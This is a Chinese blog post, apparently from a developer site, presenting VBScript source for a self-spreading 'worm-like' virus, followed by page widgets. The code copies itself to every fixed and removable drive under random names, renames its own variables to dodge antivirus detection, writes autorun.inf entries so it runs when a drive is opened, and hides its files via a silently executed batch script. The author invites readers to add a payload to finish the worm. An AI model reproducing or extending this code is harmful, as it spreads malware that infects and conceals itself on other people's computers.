vbs之类蠕虫病毒的编写

文章标题之所以称为类蠕虫,是因为 攻击 代码 即主题代码还没实现
sub yitiaolong()                    '定义一条龙过程
on error resume next           '这里是防止没有发现匹配设备时而报错
dim drivearray                     '初始化数组变量
dim drive                              '驱动器句柄变量
dim strarray                         '初始化字符串数组变量
dim vbcode                          '用于接收变异的自身代码
dim file
dim dirc                               '用于获取随机 文件名
set fso=createobject("scripting.filesystemobject")
set objshell=createobject("wscript.shell")
drivearray=array("c:","d:","e:","f:","g:","h:")   '定义一个数组,元素即为盘符,可自行增加
for i=0 to 5                                                        '循环对比磁盘
set drive=fso.getdrive(drivearray(i))                 '获取驱动器的句柄
if drive.drivetype=1 or drive.drivetype=2 then    '等于1为可移动磁盘,2为固定硬盘
strarray=array("vbcode","objshell","fso","filehacker")                                    '定义一个数组啦,用于存放要变化的字符
vbcode=fso.opentextfile(wscript.scriptfullname,1).readall                               '读取自身代码,并赋值给变量vbcode
for stri=0 to 3                                       
vbcode=replace(vbcode,strarray(stri),chr((int)((rnd*22)+97))& chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int) ((rnd*22)+97)))  '用随机生成的字符取代数组离得字符
next
set file=fso.createtextfile(drivearray(i)+"\hack.txt")    '如果发现移动硬盘或固定驱动器就往里面创建文件
file.writeline vbcode                                                    '往hack.txt里写入自身代码
file.close
dirc=chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))  '定义一个变量,赋值是随机的
set file=fso.getfile(drivearray(i)&"\hack.txt")        '得到hack.txt的句柄
file.copy(drivearray(i)&"\"&dirc&". vbs")               '复制自身为脚本文件,文件名是随机的
file.delete                                                            '删除hack.txt自身
set file=fso.createtextfile(drivearray(i)+"\autorun.txt")      '在驱动器根目录里生成文本文件autorun.txt
file.writeline "[autorun]"                                                     '写入内容啦
file.writeline "open="&dirc&". vbs"
file.writeline "shell/open=打开(&0)"
file.writeline "shell/open/command="&dirc&". vbs"
file.writeline "shell/oth=资源管理器(&X)"
file.writeline "shell/oth/command="&dirc&". vbs"
file.close
set file=fso.getfile(drivearray(i)+"\autorun.txt")              '这里不用说啦吧,获得句柄
file.copy(drivearray(i)+"\autorun.inf")                             '复制自身为autorun.inf
file.delete                                                                        '删除自己
set file=fso.createtextfile(drivearray(i)+"\hack.txt")       '在创建hack.txt文件
file.writeline "attrib +s +h +r "&drivearray(i)&"\autorun.inf"
file.writeline "attrib +s +h +r "&drivearray(i)&"\"&dirc&". vbs"
file.close
set file=fso.getfile(drivearray(i)+"\hack.txt")
file.copy(drivearray(i)+"\hack.bat")
file.delete
file=drivearray(i)+"\hack.bat"                    
objshell.run(file),vbhide                                     '隐藏执行hack.bat文件
wscript.sleep 1000                                            '延时1秒再执行
objshell.run("cmd /c del "&file),vbhide               '删除hack.bat
end if
next
set fso=nothing
set objshell=nothing                                          '主要是释放内存 空间,你还可以自行添加
end sub


这里已经实现自我复制,变量的自我修改,文件名的不同,autorun文件的自动生成和自我隐藏
后续的发展就要看读者啦,你的散发思维啦 , 加入攻击代码 ,就会是一个很好的VBS型的蠕虫啦
在这里先说下抱歉,文章中的自我变异免杀的功能不会很好,只能怪笔者能力有限啦,没能实现脚本的真正的自我变种
还说几句,在脚本方面,WMI 即 windows管理规划,这里有强的功能,但我这方面还涉及很少啦,有机会大家一起交流啦!!!!
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值